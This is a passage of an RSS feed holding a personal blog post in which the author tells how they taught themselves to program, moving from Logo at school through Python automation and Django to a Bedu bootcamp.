href=&#34;https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/images/ElGrupoDeComediantesMontyPython.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/images/ElGrupoDeComediantesMontyPython.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;The comedy group known as Monty Python&#34; width=&#34;1280&#34; height=&#34;960&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Photograph of the comedy group known as Monthy Python, after which the programming language is named.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A month later I read the book &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/learn-python-from-scratch-beginning-python-review/&#34;&gt;Beginning Python from novice to Professional&lt;/a&gt;&#xA; and experienced the beauty of Python&amp;rsquo;s simplicity and versatility.&lt;/p&gt;&#xA;&lt;p&gt;With Python I could do everything: create desktop applications, web pages, simple scripts to automate tasks, all with a syntax simple and predictable enough for a programming layman like me. A few weeks were enough for Python to become my favorite programming language (it still is today, but now I have sidechicks), and I went from my first &amp;ldquo;Hello World&amp;rdquo; to more complicated things.&lt;/p&gt;&#xA;&lt;h2 id=&#34;using-python-to-make-my-life-easier&#34;&gt;Using Python to make my life easier&lt;/h2&gt;&#xA;&lt;p&gt;A year later I would use Python to automate my day-to-day digital tasks.&lt;/p&gt;&#xA;&lt;p&gt;I completely automated the creation of images with prices for my online store using imagemagick. I programmed the periodic publication of products in facebook groups, using selenium, and without using the official facebook API (because they had disabled the option to publish in groups).&lt;/p&gt;&#xA;&lt;p&gt;Later I used Django to create and customize an online store for the photo products fanpage I managed. By then I had already read quite a few books about Python, Django and web development, as well as watched and practiced a lot of video tutorials on the same subject.&lt;/p&gt;&#xA;&lt;p&gt;Python was wonderful, I could schedule all the tasks for the day and leave them running while I went off to do other things. The system worked perfectly, made me money and required almost no time investment on my part. I dedicated the free time I had to train myself in more topics related to the programming world: C, C++, algorithms, discrete mathematics, cryptography, best practices, computer security, free software, GNU/Linux, differential equations and other topics that I considered relevant.&lt;/p&gt;&#xA;&lt;p&gt;This is, in a fairly short way, the story of how I started programming. Always self-taught, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/pages/libros-que-he-leido-y-resenas/&#34;&gt;reading books&lt;/a&gt;&#xA; and blogs, watching tutorials and &lt;strong&gt;practicing a lot&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;bootcamp-in-bedu&#34;&gt;Bootcamp in Bedu&lt;/h2&gt;&#xA;&lt;p&gt;Finally, since many companies love to have a piece of paper to back up what you already know, and I was a bit unsure if everything I had read applied to today&amp;rsquo;s development world (the famous imposter syndrome), I decided to sign up for a 6-month Bootcamp at &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://bedu.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Bedu&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;At the risk of being a bit arrogant, I will say that the bootcamp was a piece of cake thanks to everything I had practiced and read before, I did not really learn many new things. However, it was thanks to Bedu that I met some fascinating and talented people among my classmates and teachers. Also thanks to Bedu I tried Platzi, the online learning platform that they use as a prework for their face-to-face classes. The community alone made it worth every penny I paid.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/images/ColaboraCoworking.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/images/ColaboraCoworking.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Colobora Coworking in Chapultepec, Guadalajara&#34; width=&#34;2560&#34; height=&#34;1707&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Image taken from Colabora&amp;rsquo;s website&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;I went through the Bedu bootcamp at Colabora Coworking.&lt;/p&gt;&#xA;&lt;p&gt;Maybe in a future post I will talk about my experience in Bedu and Platzi, since this post is already getting quite long. If you want to ask me more about my experience, leave me a comment or send me a DM to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://twitter.com/hello_wired&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;twitter&lt;/a&gt;&#xA; and I will tell you more about my experience.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The first time I used a computer was when I was 9 years old, in the computer room of the school where I studied. The teachers were teaching us how to operate the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.xataka.com/historia-tecnologica/tortuga-que-nos-enseno-a-programar-historia-logo-primer-lenguaje-programacion-disenado-para-ninos/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Logo Writer turtle&lt;/a&gt;&#xA; using simple commands, in MS-DOS. We made the turtle paint hexagons, octagons and even trapped it in an infinite loop.&lt;/p&gt;&#xA;&lt;p&gt;I didn&amp;rsquo;t have a computer at home, so my interaction with computers was limited to those two hours a week at school.&lt;/p&gt;</summary>
    </item>
    
  </channel>
</rss>